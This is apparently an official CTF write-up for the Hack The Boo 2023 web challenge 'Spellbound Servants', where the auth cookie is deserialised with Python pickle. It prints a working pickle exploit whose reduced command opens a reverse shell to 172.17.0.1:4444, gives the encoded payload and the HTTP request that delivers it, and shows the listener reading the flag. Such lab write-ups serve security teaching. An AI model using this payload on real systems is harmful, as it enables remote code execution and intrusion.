Spellbound Servants
Challenge
- CTF: Hack The Boo 2023 - Practice Official Writeup
- Name: Spellbound Servants
- Category: Web
- Difficulty: Easy
- Points: 375
- Description: A sinister website lurks in the depth of internet, offering nefarious users a chance to enslave spectral entities as their servants. Can you help us taking it down and saving the halloween?
- Objective: Python Pickle Deserialisation
Files
Download: web_spellbound_servants.zip
Writeup
Lets spin-up the docker image of the web and setup our static-code analysis IDE:
1
2
code .
sudo ./build-docker.sh
Browsing to the local webpage: http://127.0.0.1:1337/
, we are greeted with a login page:
Registering and Logging in with test:test
was successful and we are then greeted with a welcome page:
Using Synk VSCode extension, it was able to immediately identify a vulnerability in the auth
cookie loader in util.py
:
Lets generate a custom pickling exploit to obtain a reverse shell:
1
2
3
4
5
6
7
8
9
10
11
12
import pickle
from base64 import b64encode
import os
class RCE:
def __reduce__(self):
cmd = f"""python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("172.17.0.1",4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'"""
return os.system, (cmd,)
# Generate pickled RCE
encoded = b64encode(pickle.dumps(RCE())).decode()
print(encoded)
1
gASVAQEAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjOZweXRob24gLWMgJ2ltcG9ydCBzb2NrZXQsc3VicHJvY2Vzcyxvczsgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7IHMuY29ubmVjdCgoIjE3Mi4xNy4wLjEiLDQ0NDQpKTsgb3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7IG9zLmR1cDIocy5maWxlbm8oKSwyKTsgcD1zdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSk7J5SFlFKULg==
Lets replace the auth
cookie with the generated RCE pickling payload above and send the request to /home
:
1
2
3
4
5
6
7
8
GET /home HTTP/1.1
Host: 127.0.0.1:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: auth=gASVAQEAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjOZweXRob24gLWMgJ2ltcG9ydCBzb2NrZXQsc3VicHJvY2Vzcyxvczsgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7IHMuY29ubmVjdCgoIjE3Mi4xNy4wLjEiLDQ0NDQpKTsgb3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7IG9zLmR1cDIocy5maWxlbm8oKSwyKTsgcD1zdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSk7J5SFlFKULg==
The reverse shell comes back as shown below:
1
2
3
$ nc -nlvp 4444
/app # cat /flag.txt
HTB{F4K3_Fl4G_F0R_T35T1NG}
Spinning up a docker instance and sending a payload with updated ngrok IP/Port numbers, we can then obtain the real flag.
1
2
3
$ nc -nlvp 4444
/app # cat /flag.txt
HTB{P1CkL3_15_f0R_SUP3R555!}
Flag:HTB{P1CkL3_15_f0R_SUP3R555!}